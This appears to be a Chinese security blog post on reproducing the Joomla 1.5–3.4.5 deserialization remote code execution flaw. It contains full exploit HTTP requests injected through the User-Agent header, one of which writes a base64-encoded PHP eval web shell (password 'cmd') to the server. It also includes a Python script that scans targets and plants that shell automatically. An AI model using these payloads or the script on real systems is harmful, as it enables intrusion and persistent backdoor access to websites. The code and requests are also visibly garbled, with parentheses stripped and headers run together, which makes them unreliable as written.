这是最近流出来的一个漏洞,利用Joomla反序列化可以造成远程代码执行。关于该漏洞的分析可以参考一下链接:
wooyun drops上的:http://drops.wooyun.org/papers/11330
Freebuf上的:http://www.freebuf.com/vuls/89754.html
360播报上的:http://bobao.360.cn/learning/detail/2501.html
自定义生成Exp序列化的程序:http://sandbox.onlinephpfunctions.com/code/d7a86325f725cbe9e7a60ef696d65593f6abdc1f
在这里,记录一下我自己复现漏洞时候遇到的坑。细节很重要呐,最后复现成功才发现问题所在。
首先是关于phpinfo的代码执行,这个复现起来比较简单。Exp如下:
GET /joomla/ HTTP/1.1Host: 192.168.145.130User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"a";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:31:"phpinfo);JFactory::get);exit;";}i:1;s:4:"init";}}s:13:"connection";i:1;}~ÙAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: keep-aliveCache-Control: max-age=0首先是发送带Exp的包,获取cookie:
然后用获取的cookies再次发包即可完成代码执行:
这里要特别注意截断的那几个字符是不是正确,这个是关键。看一下那几个字符(只要是utf-8中4字节的都可以,范围U+010000至U+10FFFF,具体原因可以参照前面漏洞分析):
好了,关于代码执行的复现到此为止。
我们接下来完成一句话的复现,在这里花了比较多的时间。我采用的是file_put_contents函数来写入一句话,这里特别强调一点,写入的地址是要使用路径绝对地址的,不然写入不成功。坑呀!
关于Web服务器网站路径,可以在phpinfo执行的时候获取到,然后拼接出shell的地址即可。对要写入的内容可以用base64先编码,然后file_put_contents的时候解码即可。
Exp的内容如下:
GET /joomla/ HTTP/1.1Host: 192.168.145.130User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:143:"file_put_contents'E://xampp//htdocs//Joomla//shell.php',base64_decode'PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));;JFactory::getConfig);exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}ðŒ†Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Forwarded-For: 8.8.8.8DNT: 1Connection: keep-aliveCache-Control: max-age=0看下成功的Exp截图:
获取shell的流程和之前是一样的,先发送带Exp的包,然后包含获取的cookie的包,即可写入一句话了。
最后,修改了一个可以Getshell的利用脚本:
#!/usr/bin/env pythonimport requestsimport sysimport timeimport redef rceJoomlavalue):now = time.strftime'%H:%M:%S',time.localtimetime.time)))print "["+strnow)+"] [INFO] Checking Joomla 1.5 - 3.4.5 Remote Code Execution..."if 'http://' in value or 'https://' in value:url=valuecheckJoomlaRCEurl)def checkJoomlaRCEurl):url = url.strip)reg = 'http[s]*://.*/$'m = re.matchreg,url)if not m:url = url + "/"poc = generate_payload"phpinfo);")try:result = get_urlurl, poc)if 'phpinfo)' in result:system = getInfoByJoomlaRCEresult, 'System')document_root = getInfoByJoomlaRCEresult, 'DOCUMENT_ROOT')script_filename = getInfoByJoomlaRCEresult, 'SCRIPT_FILENAME')shell_file = getShellByJoomlaRCEurl, system, script_filename)vuls='[+]vuls found! url: '+url+' [+]System: '+system+' [+]document_root: '+document_root+' [+]script_filename: '+script_filename+' [+]shell_file: '+shell_fileprint vulselse:print '[!] no vuls! url: '+urlexcept Exception,e:print '[!] connection failed! url: '+urldef get_urlurl, user_agent):headers = {'User-Agent': user_agent}cookies = requests.geturl,headers=headers).cookiesfor _ in range3):response = requests.geturl, timeout=10, headers=headers, cookies=cookies)return response.contentdef generate_payloadphp_payload):php_payload = php_payloadterminate = 'xf0x9dx8cx86'exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''injected_payload = "{};JFactory::getConfig);exit".formatphp_payload)exploit_template += r'''s:{0}:"{1}"'''.formatstrleninjected_payload)), injected_payload)exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}''' + terminate# print exploit_templatereturn exploit_templatedef getInfoByJoomlaRCEresult, param):if "System" in param:reg = '.*<tr><td class="e">System </td><td class="v">[^<>]*?)</td></tr>.*'elif "DOCUMENT_ROOT" in param:reg = '.*<tr><td class="e">DOCUMENT_ROOT </td><td class="v">[^<>]*?)</td></tr>.*'elif "SCRIPT_FILENAME" in param:reg = '.*<tr><td class="e">SCRIPT_FILENAME </td><td class="v">[^<>]*?)</td></tr>.*'match_url = re.searchreg,result)if match_url:info=match_url.group1)else:info = 'no info!'return infodef getShellByJoomlaRCEurl, system, script_filename):if 'no info' not in script_filename and 'no info' not in system:if 'Windows' in system:shell = script_filename.split'index.php')[0].replace'/','//').strip)+"shell.php"else:shell = script_filename.split'index.php')[0]+"shell.php"cmd ="file_put_contents'"+shell+"',base64_decode'PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));"pl = generate_payloadcmd)try:get_urlurl, pl)return url+"shell.php"except Exception, e:return "no info!"else:return "no info!"def main):rceJoomlasys.argv[1])if __name__ == '__main__':main)
来看下,在本地环境下的测试截图:(一句话名字:shell.php,密码:cmd)